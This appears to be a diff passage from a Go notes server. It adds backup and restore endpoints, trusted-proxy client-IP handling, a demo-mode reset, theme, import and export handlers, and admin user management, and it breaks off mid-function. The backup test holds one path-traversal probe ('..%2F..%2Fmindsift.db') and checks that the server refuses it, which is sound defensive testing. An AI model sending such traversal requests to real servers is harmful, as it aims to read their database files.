func (s *Server) handleAdminRunBackup(w http.ResponseWriter, r *http.Request) {
if _, err := s.runBackups(); err != nil {
writeError(w, http.StatusInternalServerError, "Backup fehlgeschlagen: "+err.Error())
return
}
s.handleAdminListBackups(w, r)
}
func (s *Server) handleAdminDownloadBackup(w http.ResponseWriter, r *http.Request) {
serveBackupFile(w, r, filepath.Join(s.backupRoot(), "system"), chi.URLParam(r, "name"), "application/gzip")
}
func (s *Server) handleListMyBackups(w http.ResponseWriter, r *http.Request) {
files, err := storage.ListBackups(storage.UserBackupDir(s.backupRoot(), auth.GetUserID(r.Context())))
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, files)
}
func (s *Server) handleDownloadMyBackup(w http.ResponseWriter, r *http.Request) {
dir := storage.UserBackupDir(s.backupRoot(), auth.GetUserID(r.Context()))
serveBackupFile(w, r, dir, chi.URLParam(r, "name"), "application/zip")
}
// handleRestoreMyBackup imports one of the user's server backups: mode=merge (add next to the data)
// or mode=restore (empty the chosen sections first), sections=notes,tasks,lists,inbox,themes.
func (s *Server) handleRestoreMyBackup(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
path, err := storage.BackupPath(storage.UserBackupDir(s.backupRoot(), userID), chi.URLParam(r, "name"))
if err != nil {
writeError(w, http.StatusNotFound, err.Error())
return
}
data, err := os.ReadFile(path)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
plan, err := storage.PlanMindSiftImport(data, filepath.Base(path))
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
sections := storage.NormalizeSections(strings.Split(r.URL.Query().Get("sections"), ","))
plan = plan.Only(sections)
if r.URL.Query().Get("preview") == "1" {
writeJSON(w, http.StatusOK, plan.Summary(false))
return
}
s.applyImport(w, userID, plan, sections, r.URL.Query().Get("mode") == "restore")
}
func serveBackupFile(w http.ResponseWriter, r *http.Request, dir, name, contentType string) {
path, err := storage.BackupPath(dir, name)
if err != nil {
writeError(w, http.StatusNotFound, err.Error())
return
}
w.Header().Set("Content-Type", contentType)
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
http.ServeFile(w, r, path)
}
+91
View File
@@ -0,0 +1,91 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
"time"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/storage"
)
func TestBackupsRunListDownloadAndRestoreSections(t *testing.T) {
srv, store, token := setupTestServer(t)
router := srv.Router()
claims, _ := auth.ValidateToken(testJWTSecret, token)
uid := claims.UserID
_, _ = store.CreateDocument(uid, "", "Notiz vom Montag", "📝", "", nil, nil, false)
list, _ := store.CreateList(uid, "Einkauf", "🛒", "shopping")
_, _ = store.CreateListItem(list.ID, "Milch", "", "", 0, uid)
_, _ = store.SaveUserTheme(uid, "", "Mein Theme", ":root[data-theme=\"x\"] { --accent-primary: #f00; }")
call := func(method, path string) *httptest.ResponseRecorder {
req := httptest.NewRequest(method, path, nil)
req.Header.Set("Authorization", "Bearer "+token)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
return rec
}
// Admin starts a run: one database snapshot plus a backup for the user
rec := call("POST", "/api/v1/admin/backups")
if rec.Code != http.StatusOK {
t.Fatalf("run backups: %d %s", rec.Code, rec.Body.String())
}
var sysFiles []storage.BackupFile
_ = json.Unmarshal(rec.Body.Bytes(), &sysFiles)
if len(sysFiles) != 1 || !strings.HasSuffix(sysFiles[0].Name, ".db.gz") || sysFiles[0].Size == 0 {
t.Fatalf("expected one snapshot, got %+v", sysFiles)
}
if rec := call("GET", "/api/v1/admin/backups/"+sysFiles[0].Name); rec.Code != http.StatusOK || rec.Body.Len() == 0 {
t.Fatalf("download snapshot: %d", rec.Code)
}
if rec := call("GET", "/api/v1/admin/backups/..%2F..%2Fmindsift.db"); rec.Code != http.StatusNotFound {
t.Fatalf("path tricks must be refused, got %d", rec.Code)
}
var mine []storage.BackupFile
_ = json.Unmarshal(call("GET", "/api/v1/backups").Body.Bytes(), &mine)
if len(mine) != 1 {
t.Fatalf("expected one user backup, got %+v", mine)
}
// Lose data, then restore only the lists: notes stay as they are now
listsBefore, _ := store.GetAllListsForUser(uid)
docsBefore, _ := store.GetDocuments(uid)
_ = store.PurgeUserSections(uid, map[string]bool{storage.SectionLists: true, storage.SectionThemes: true})
_, _ = store.CreateDocument(uid, "", "Notiz vom Dienstag", "📝", "", nil, nil, false)
rec = call("POST", "/api/v1/backups/"+mine[0].Name+"/restore?mode=restore&sections=lists,themes")
if rec.Code != http.StatusOK {
t.Fatalf("restore: %d %s", rec.Code, rec.Body.String())
}
lists, _ := store.GetAllListsForUser(uid)
themes, _ := store.GetUserThemes(uid)
docs, _ := store.GetDocuments(uid)
if len(lists) != len(listsBefore) || len(themes) != 1 {
t.Fatalf("lists and themes should be back: %d of %d lists, %d themes", len(lists), len(listsBefore), len(themes))
}
if len(docs) != len(docsBefore)+1 {
t.Fatalf("notes were not selected and must stay untouched (plus Dienstag), got %d of %d", len(docs), len(docsBefore)+1)
}
// Retention: old files go
dir := filepath.Join(srv.backupRoot(), "system")
old := filepath.Join(dir, "mindsift-db-2000-01-01-0300.db.gz")
_ = os.WriteFile(old, []byte("x"), 0o600)
_ = os.Chtimes(old, mustTime("2000-01-01"), mustTime("2000-01-01"))
_, _ = srv.runBackups()
if _, err := os.Stat(old); !os.IsNotExist(err) {
t.Fatalf("backups older than the retention must be deleted")
}
}
func mustTime(day string) (t time.Time) {
t, _ = time.Parse("2006-01-02", day)
return t
}
+144
View File
@@ -0,0 +1,144 @@
package api
import (
"context"
"log/slog"
"net"
"net/http"
"strings"
"sync"
)
// Client IP behind a reverse proxy. The proxy connects to MindSift and passes the visitor's address in
// X-Forwarded-For / X-Real-IP. Those headers are only believed when the connection comes from a trusted
// proxy (TRUSTED_PROXIES), otherwise anyone reaching the port directly could claim any address and dodge
// the login protection.
// private (default) loopback and private networks (Docker, LAN, CGNAT/Tailscale)
// all always believe the headers (old behaviour, switches the check off)
// none never believe them
// CIDR list e.g. "private,203.0.113.0/24"; Cloudflare and other external proxies go here
type clientIPKey struct{}
type clientIPInfo struct {
ip string
// viaProxyWithoutHeader: the connection came from a trusted proxy that did not say who the
// visitor is, so all visitors look the same. Per-IP limits must not apply then.
viaProxyWithoutHeader bool
}
type proxyTrust struct {
all bool
networks []*net.IPNet
}
var privateProxyNets = mustCIDRs("127.0.0.0/8", "::1/128", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "fc00::/7", "100.64.0.0/10")
func parseProxyTrust(spec string) proxyTrust {
spec = strings.ToLower(strings.TrimSpace(spec))
if spec == "" {
spec = "private"
}
var t proxyTrust
for _, part := range strings.Split(spec, ",") {
switch part = strings.TrimSpace(part); part {
case "", "none":
case "all", "*":
t.all = true
case "private":
t.networks = append(t.networks, privateProxyNets...)
default:
if !strings.Contains(part, "/") {
if strings.Contains(part, ":") {
part += "/128"
} else {
part += "/32"
}
}
if _, n, err := net.ParseCIDR(part); err == nil {
t.networks = append(t.networks, n)
} else {
slog.Warn("TRUSTED_PROXIES: Eintrag ignoriert", "entry", part)
}
}
}
return t
}
func (t proxyTrust) trusts(ip net.IP) bool {
if t.all {
return true
}
for _, n := range t.networks {
if n.Contains(ip) {
return true
}
}
return false
}
func peerIP(remoteAddr string) string {
if host, _, err := net.SplitHostPort(remoteAddr); err == nil {
return host
}
return remoteAddr
}
// resolveClientIP returns the visitor's address for a request coming from peer.
func (t proxyTrust) resolveClientIP(peer string, h http.Header) clientIPInfo {
peerAddr := net.ParseIP(peer)
if peerAddr == nil || !t.trusts(peerAddr) {
return clientIPInfo{ip: peer}
}
// X-Forwarded-For: client, proxy1, proxy2 – the visitor is the right-most address that is not one of
// our proxies (everything left of it could be made up by the visitor)
if xff := h.Get("X-Forwarded-For"); xff != "" {
var chain []net.IP
for _, part := range strings.Split(xff, ",") {
if ip := net.ParseIP(strings.TrimSpace(part)); ip != nil {
chain = append(chain, ip)
}
}
if len(chain) > 0 {
if t.all {
return clientIPInfo{ip: chain[0].String()} // former behaviour: first address counts
}
for i := len(chain) - 1; i >= 0; i-- {
if !t.trusts(chain[i]) {
return clientIPInfo{ip: chain[i].String()}
}
}
return clientIPInfo{ip: chain[0].String()} // only proxies in the chain: the visitor is in our network
}
}
for _, name := range []string{"X-Real-IP", "True-Client-IP", "CF-Connecting-IP"} {
if ip := net.ParseIP(strings.TrimSpace(h.Get(name))); ip != nil {
return clientIPInfo{ip: ip.String()}
}
}
return clientIPInfo{ip: peer, viaProxyWithoutHeader: !peerAddr.IsLoopback()}
}
var warnProxyHeaderOnce sync.Once
// clientIPMiddleware replaces chi's RealIP: r.RemoteAddr becomes the visitor's address.
func (s *Server) clientIPMiddleware(next http.Handler) http.Handler {
trust := parseProxyTrust(s.cfg.TrustedProxies)
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
info := trust.resolveClientIP(peerIP(r.RemoteAddr), r.Header)
if info.viaProxyWithoutHeader {
warnProxyHeaderOnce.Do(func() {
slog.Warn("Reverse-Proxy übergibt keine Client-IP (X-Forwarded-For/X-Real-IP fehlt); Login-Sperren pro IP sind für diese Anfragen aus", "proxy", info.ip)
})
}
r.RemoteAddr = info.ip
next.ServeHTTP(w, r.WithContext(context.WithValue(r.Context(), clientIPKey{}, info)))
})
}
func clientIPFrom(r *http.Request) clientIPInfo {
if info, ok := r.Context().Value(clientIPKey{}).(clientIPInfo); ok {
return info
}
return clientIPInfo{ip: peerIP(r.RemoteAddr)}
}
+77
View File
@@ -0,0 +1,77 @@
package api
import (
"log/slog"
"net/http"
"strings"
"sync"
"time"
)
// In demo mode the database is reset to the sample data every DEMO_RESET_MINUTES. Requests hold a read
// lock while they run and the reset takes the write lock, so no request sees half-dropped tables.
// Long-lived streams (WebSocket, SSE, long polling) are left out, otherwise the reset would wait for
// them forever; they reconnect or retry on their own. The demo accounts keep their IDs, so sessions
// stay valid; clients get DEMO_RESET and reload their data.
type demoState struct {
gate sync.RWMutex // read: a running request, write: the reset
mu sync.Mutex
nextReset time.Time
}
func isLongLivedRequest(r *http.Request) bool {
p := r.URL.Path
return strings.HasPrefix(p, "/api/v1/ws") || p == "/api/v1/events" ||
(strings.HasPrefix(p, "/api/v1/docs/") && strings.HasSuffix(p, "/changes"))
}
func (s *Server) demoResetGate(next http.Handler) http.Handler {
if !s.cfg.DemoMode {
return next
}
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if isLongLivedRequest(r) || !strings.HasPrefix(r.URL.Path, "/api/") {
next.ServeHTTP(w, r)
return
}
s.demo.gate.RLock()
defer s.demo.gate.RUnlock()
next.ServeHTTP(w, r)
})
}
// demoNextReset is zero when no periodic reset runs.
func (s *Server) demoNextReset() time.Time {
s.demo.mu.Lock()
defer s.demo.mu.Unlock()
return s.demo.nextReset
}
func (s *Server) setDemoNextReset(t time.Time) {
s.demo.mu.Lock()
s.demo.nextReset = t
s.demo.mu.Unlock()
}
func (s *Server) resetDemo() {
s.demo.gate.Lock()
err := s.store.ResetAndSeedDemo()
s.demo.gate.Unlock()
if err != nil {
slog.Error("Demo-Reset fehlgeschlagen", "error", err)
return
}
s.wsHub.BroadcastSystem("DEMO_RESET")
}
func (s *Server) startDemoResetTicker() {
interval := time.Duration(s.cfg.DemoResetMinutes) * time.Minute
for {
next := time.Now().Add(interval)
s.setDemoNextReset(next)
time.Sleep(time.Until(next))
s.resetDemo()
}
}
+90
View File
@@ -0,0 +1,90 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"path/filepath"
"strings"
"sync"
"testing"
"time"
"github.com/sandrodach/mindsift/internal/config"
"github.com/sandrodach/mindsift/internal/storage"
"github.com/sandrodach/mindsift/internal/ws"
)
func TestDemoResetKeepsSessionsAndRestoresSampleData(t *testing.T) {
dbPath := filepath.Join(t.TempDir(), "demo_reset.db")
store, err := storage.NewStore(dbPath)
if err != nil {
t.Fatal(err)
}
defer store.Close()
if err := store.ResetAndSeedDemo(); err != nil {
t.Fatal(err)
}
srv := NewServer(&config.Config{DatabasePath: dbPath, JWTSecret: "demo-secret", DemoMode: true}, store, ws.NewHub(), nil)
router := srv.Router()
call := func(method, path, token, body string) *httptest.ResponseRecorder {
req := httptest.NewRequest(method, path, strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
if token != "" {
req.Header.Set("Authorization", "Bearer "+token)
}
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
return rec
}
var login struct{ Token string }
_ = json.Unmarshal(call("POST", "/api/v1/auth/login", "", `{"login":"admin","password":"admin"}`).Body.Bytes(), &login)
countDocs := func() int {
var docs []json.RawMessage
_ = json.Unmarshal(call("GET", "/api/v1/documents", login.Token, "").Body.Bytes(), &docs)
return len(docs)
}
seeded := countDocs()
if seeded == 0 {
t.Fatal("expected sample notes")
}
if rec := call("POST", "/api/v1/documents", login.Token, `{"title":"Testnotiz"}`); rec.Code >= 300 {
t.Fatalf("create note: %d %s", rec.Code, rec.Body.String())
}
// Requests running during the reset must neither fail half-way nor see missing tables
var wg sync.WaitGroup
failures := make(chan int, 50)
for i := 0; i < 50; i++ {
wg.Add(1)
go func() {
defer wg.Done()
if rec := call("GET", "/api/v1/documents", login.Token, ""); rec.Code != http.StatusOK {
failures <- rec.Code
}
}()
}
srv.resetDemo()
wg.Wait()
close(failures)
for code := range failures {
t.Errorf("request during reset failed with %d", code)
}
if rec := call("GET", "/api/v1/auth/me", login.Token, ""); rec.Code != http.StatusOK {
t.Fatalf("session must survive the reset, got %d", rec.Code)
}
if n := countDocs(); n != seeded {
t.Errorf("reset should restore the %d sample notes, got %d", seeded, n)
}
srv.setDemoNextReset(time.Now().Add(90 * time.Second))
var st struct {
DemoNextReset string `json:"demoNextReset"`
DemoResetInSeconds int `json:"demoResetInSeconds"`
}
_ = json.Unmarshal(call("GET", "/api/v1/auth/status", "", "").Body.Bytes(), &st)
if st.DemoNextReset == "" || st.DemoResetInSeconds < 85 || st.DemoResetInSeconds > 90 {
t.Errorf("status should announce the next reset: %+v", st)
}
}
+164
View File
@@ -0,0 +1,164 @@
package api
import (
"bytes"
"encoding/json"
"fmt"
"log/slog"
"net/http"
"strings"
"time"
"github.com/go-chi/chi/v5"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/domain"
"github.com/sandrodach/mindsift/internal/storage"
)
// --- CUSTOM THEMES ---
func (s *Server) handleGetThemes(w http.ResponseWriter, r *http.Request) {
themes, err := s.store.GetUserThemes(auth.GetUserID(r.Context()))
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, themes)
}
// handleSaveTheme creates a theme, or updates it when an id of the caller's theme is given.
func (s *Server) handleSaveTheme(w http.ResponseWriter, r *http.Request) {
var req struct {
ID string `json:"id"`
Name string `json:"name"`
CSS string `json:"css"`
}
r.Body = http.MaxBytesReader(w, r.Body, storage.MaxThemeCSSBytes+16*1024)
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültige Anfrage oder Theme zu groß")
return
}
theme, err := s.store.SaveUserTheme(auth.GetUserID(r.Context()), strings.TrimSpace(req.ID), req.Name, req.CSS)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
status := http.StatusCreated
if req.ID != "" {
status = http.StatusOK
}
writeJSON(w, status, theme)
}
func (s *Server) handleDeleteTheme(w http.ResponseWriter, r *http.Request) {
if err := s.store.DeleteUserTheme(auth.GetUserID(r.Context()), chi.URLParam(r, "id")); err != nil {
writeError(w, http.StatusNotFound, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
// confirmPassword checks the current password sent as {"password": "…"} before destructive actions.
func (s *Server) confirmPassword(w http.ResponseWriter, r *http.Request) (*domain.User, bool) {
var req struct {
Password string `json:"password"`
}
_ = json.NewDecoder(r.Body).Decode(&req)
user, err := s.store.GetUserByID(auth.GetUserID(r.Context()))
if err != nil || user == nil {
writeError(w, http.StatusUnauthorized, "Nicht autorisiert")
return nil, false
}
if req.Password == "" || !auth.CheckPassword(req.Password, user.PasswordHash) {
writeError(w, http.StatusForbidden, "Passwort ist falsch")
return nil, false
}
return user, true
}
// runImport answers a preview (?preview=1) with what would be created, otherwise imports.
func (s *Server) runImport(w http.ResponseWriter, r *http.Request, plan *storage.ImportPlan, err error) {
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// sections=notes,tasks,…: only these parts of a MindSift backup (all when not given)
sections := storage.NormalizeSections(strings.Split(r.URL.Query().Get("sections"), ","))
plan = plan.Only(sections)
if r.URL.Query().Get("preview") == "1" {
writeJSON(w, http.StatusOK, plan.Summary(false))
return
}
s.applyImport(w, auth.GetUserID(r.Context()), plan, sections, r.URL.Query().Get("mode") == "restore" && strings.HasSuffix(r.URL.Path, "/mindsift"))
}
// applyImport adds the plan to the user's data; with restore the chosen sections are emptied first.
// The plan is fully read and validated at this point, so a broken file never wipes anything.
func (s *Server) applyImport(w http.ResponseWriter, userID string, plan *storage.ImportPlan, sections map[string]bool, restore bool) {
if restore {
if err := s.store.PurgeUserSections(userID, sections); err != nil {
writeError(w, http.StatusInternalServerError, "Wiederherstellen abgebrochen: "+err.Error())
return
}
}
sum, err := s.store.ApplyImport(userID, plan)
if err != nil {
slog.Error("Import abgebrochen", "user_id", userID, "error", err)
writeError(w, http.StatusInternalServerError, "Import abgebrochen: "+err.Error())
return
}
writeJSON(w, http.StatusOK, sum)
}
// handleImportMindSift restores MindSift's own data: the JSON backup or the Markdown archive (ZIP).
func (s *Server) handleImportMindSift(w http.ResponseWriter, r *http.Request) {
data, name, err := importUpload(w, r)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
plan, err := storage.PlanMindSiftImport(data, name)
s.runImport(w, r, plan, err)
}
// handleImportObsidian imports an Obsidian vault (ZIP) into a folder named after the vault.
func (s *Server) handleImportObsidian(w http.ResponseWriter, r *http.Request) {
data, name, err := importUpload(w, r)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
plan, err := storage.PlanObsidianImport(bytes.NewReader(data), int64(len(data)), name)
s.runImport(w, r, plan, err)
}
// handleExportMarkdown streams an Obsidian-compatible ZIP of the user's workspace (no temp files).
func (s *Server) handleExportMarkdown(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
w.Header().Set("Content-Type", "application/zip")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="mindsift-vault-%s.zip"`, time.Now().Format("2006-01-02")))
if err := s.store.WriteMarkdownVault(userID, w); err != nil {
// Headers are already sent; the client gets a truncated archive
slog.Error("Markdown-Export fehlgeschlagen", "user_id", userID, "error", err)
}
}
func (s *Server) handleExport(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
exportData, err := s.store.ExportUserData(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
// ?format=zip: the same JSON compressed (backups grow quickly with notes); plain JSON stays the API default
if r.URL.Query().Get("format") == "zip" {
w.Header().Set("Content-Type", "application/zip")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="mindsift-backup-%s.zip"`, time.Now().Format("2006-01-02")))
if err := storage.WriteBackupZip(exportData, w); err != nil {
slog.Error("Backup-Export fehlgeschlagen", "user_id", userID, "error", err)
}
return
}
w.Header().Set("Content-Disposition", "attachment; filename=mindsift-export.json")
writeJSON(w, http.StatusOK, exportData)
}
+356
View File
@@ -0,0 +1,356 @@
package api
import (
"encoding/json"
"net/http"
"strings"
"github.com/go-chi/chi/v5"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/domain"
)
// --- ORGANIZATIONS & TEAMS ---
func (s *Server) handleAdminGetOrganizations(w http.ResponseWriter, r *http.Request) {
orgs, err := s.store.GetOrganizations()
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, orgs)
}
func (s *Server) handleAdminCreateOrganization(w http.ResponseWriter, r *http.Request) {
var req struct {
Name string `json:"name"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
org, err := s.store.CreateOrganization(req.Name)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusCreated, org)
}
func (s *Server) handleAdminRenameOrganization(w http.ResponseWriter, r *http.Request) {
var req struct {
Name string `json:"name"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
if err := s.store.RenameOrganization(chi.URLParam(r, "id"), req.Name); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"updated": true})
}
func (s *Server) handleAdminDeleteOrganization(w http.ResponseWriter, r *http.Request) {
if err := s.store.DeleteOrganization(chi.URLParam(r, "id")); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
func (s *Server) handleAdminSetUserOrganization(w http.ResponseWriter, r *http.Request) {
var req struct {
OrganizationID string `json:"organizationId"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
if err := s.store.SetUserOrganization(chi.URLParam(r, "id"), req.OrganizationID); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"updated": true})
}
// handleAdminSharingImpact counts the shares and group memberships a switch to ?mode= would remove.
func (s *Server) handleAdminSharingImpact(w http.ResponseWriter, r *http.Request) {
n, err := s.store.PruneSharing(r.URL.Query().Get("mode"), true)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]int64{"affected": n})
}
// --- ADMIN & STAFF PANEL ---
func (s *Server) handleAdminGetUsers(w http.ResponseWriter, r *http.Request) {
users, err := s.store.GetAllUsers()
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, users)
}
func (s *Server) handleAdminCreateUser(w http.ResponseWriter, r *http.Request) {
callerID := auth.GetUserID(r.Context())
caller, _ := s.store.GetUserByID(callerID)
var req struct {
Email string `json:"email"`
Password string `json:"password"`
DisplayName string `json:"displayName"`
Role string `json:"role"`
OrganizationID string `json:"organizationId"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
if req.Email == "" {
writeError(w, http.StatusBadRequest, "E-Mail-Adresse erforderlich")
return
}
if err := auth.ValidatePassword(req.Password); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// Only full server admin can create another server admin
if req.Role == "admin" && (caller == nil || caller.Role != "admin") {
req.Role = "member"
}
if strings.TrimSpace(req.DisplayName) == "" {
req.DisplayName = strings.Split(req.Email, "@")[0]
}
hash, err := auth.HashPassword(req.Password)
if err != nil {
writeError(w, http.StatusInternalServerError, "Passwort-Hash fehlgeschlagen")
return
}
u, err := s.store.CreateUser(req.Email, hash, req.DisplayName, req.Role)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if req.OrganizationID != "" {
if err := s.store.SetUserOrganization(u.ID, req.OrganizationID); err == nil {
u.OrganizationID = req.OrganizationID
}
}
writeJSON(w, http.StatusCreated, u)
}
func (s *Server) handleAdminUpdateUser(w http.ResponseWriter, r *http.Request) {
callerID := auth.GetUserID(r.Context())
caller, _ := s.store.GetUserByID(callerID)
targetUserID := chi.URLParam(r, "id")
targetUser, err := s.store.GetUserByID(targetUserID)
if err != nil || targetUser == nil {
writeError(w, http.StatusNotFound, "Benutzer nicht gefunden")
return
}
// Team-Admins cannot modify Server-Admins
if caller != nil && caller.Role != "admin" && targetUser.Role == "admin" {
writeError(w, http.StatusForbidden, "Nur Server-Administratoren können Server-Admin-Konten bearbeiten")
return
}
var req struct {
DisplayName *string `json:"displayName"`
Email *string `json:"email"`
Role *string `json:"role"`
IsActive *bool `json:"isActive"`
DiscordWebhookURL *string `json:"discordWebhookUrl"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
if req.Role != nil && *req.Role == "admin" && (caller == nil || caller.Role != "admin") {
writeError(w, http.StatusForbidden, "Nur Server-Administratoren können die Rolle Server-Admin vergeben")
return
}
if req.DiscordWebhookURL != nil {
if err := validateWebhookURL(*req.DiscordWebhookURL, true, s.allowPrivateWebhooks()); err != nil {
writeError(w, http.StatusBadRequest, "Discord-Webhook: "+err.Error())
return
}
}
u, err := s.store.UpdateUser(targetUserID, req.DisplayName, req.Email, req.Role, req.IsActive, req.DiscordWebhookURL, nil)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if req.IsActive != nil && !*req.IsActive {
s.wsHub.DisconnectUser(targetUserID)
}
writeJSON(w, http.StatusOK, u)
}
func (s *Server) handleAdminResetPassword(w http.ResponseWriter, r *http.Request) {
callerID := auth.GetUserID(r.Context())
caller, _ := s.store.GetUserByID(callerID)
targetUserID := chi.URLParam(r, "id")
targetUser, _ := s.store.GetUserByID(targetUserID)
if caller != nil && caller.Role != "admin" && targetUser != nil && targetUser.Role == "admin" {
writeError(w, http.StatusForbidden, "Keine Berechtigung")
return
}
var req struct {
Password string `json:"password"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Neues Passwort erforderlich")
return
}
if err := auth.ValidatePassword(req.Password); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
hash, err := auth.HashPassword(req.Password)
if err != nil {
writeError(w, http.StatusInternalServerError, "Passwort-Hash fehlgeschlagen")
return
}
s.loginGuard.unlockAccount(targetUserID)
if err := s.store.UpdateUserPassword(targetUserID, hash); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.wsHub.DisconnectUser(targetUserID)
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
}
func (s *Server) handleAdminDeleteUser(w http.ResponseWriter, r *http.Request) {
targetUserID := chi.URLParam(r, "id")
currUserID := auth.GetUserID(r.Context())
if targetUserID == currUserID {
writeError(w, http.StatusBadRequest, "Sie können Ihren eigenen Benutzer nicht löschen")
return
}
caller, _ := s.store.GetUserByID(currUserID)
targetUser, _ := s.store.GetUserByID(targetUserID)
if caller != nil && caller.Role != "admin" && targetUser != nil && targetUser.Role == "admin" {
writeError(w, http.StatusForbidden, "Keine Berechtigung zum Löschen eines Server-Admins")
return
}
if err := s.store.DeleteUser(targetUserID); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
// --- INVITES MANAGEMENT ---
func (s *Server) handleAdminGetInvites(w http.ResponseWriter, r *http.Request) {
invites, err := s.store.GetUserInvites()
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, invites)
}
func (s *Server) handleAdminCreateInvite(w http.ResponseWriter, r *http.Request) {
callerID := auth.GetUserID(r.Context())
caller, _ := s.store.GetUserByID(callerID)
var req struct {
Email string `json:"email"`
Role string `json:"role"`
OrganizationID string `json:"organizationId"`
ValidDays int `json:"validDays"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
if req.Role == "admin" && (caller == nil || caller.Role != "admin") {
req.Role = "member"
}
inv, err := s.store.CreateUserInvite(callerID, req.Email, req.Role, req.OrganizationID, req.ValidDays)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusCreated, inv)
}
func (s *Server) handleAdminDeleteInvite(w http.ResponseWriter, r *http.Request) {
inviteID := chi.URLParam(r, "id")
if err := s.store.DeleteUserInvite(inviteID); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
// --- SERVER SETTINGS & SMTP ---
func (s *Server) handleAdminGetSettings(w http.ResponseWriter, r *http.Request) {
settings, err := s.store.GetSystemSettings()
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
settings.SMTPConfiguredViaEnv = strings.TrimSpace(s.cfg.SMTPHost) != ""
writeJSON(w, http.StatusOK, settings)
}
func (s *Server) handleAdminUpdateSettings(w http.ResponseWriter, r *http.Request) {
var settings domain.SystemSettings
if err := json.NewDecoder(r.Body).Decode(&settings); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
previousMode := s.store.SharingMode()
if err := s.store.UpdateSystemSettings(&settings); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
// A stricter mode takes away what is no longer allowed (shares, group memberships, assignments)
if settings.SharingMode != previousMode {
if _, err := s.store.PruneSharing(settings.SharingMode, false); err != nil {
writeError(w, http.StatusInternalServerError, "Freigaben konnten nicht angepasst werden: "+err.Error())
return
}
}
settings.SMTPConfiguredViaEnv = strings.TrimSpace(s.cfg.SMTPHost) != ""
writeJSON(w, http.StatusOK, settings)
}
func (s *Server) handleAdminTestSMTP(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
user, _ := s.store.GetUserByID(userID)
var req struct {
ToEmail string `json:"toEmail"`
}
_ = json.NewDecoder(r.Body).Decode(&req)
toEmail := strings.TrimSpace(req.ToEmail)
if toEmail == "" && user != nil {
toEmail = user.Email
}
if toEmail == "" {
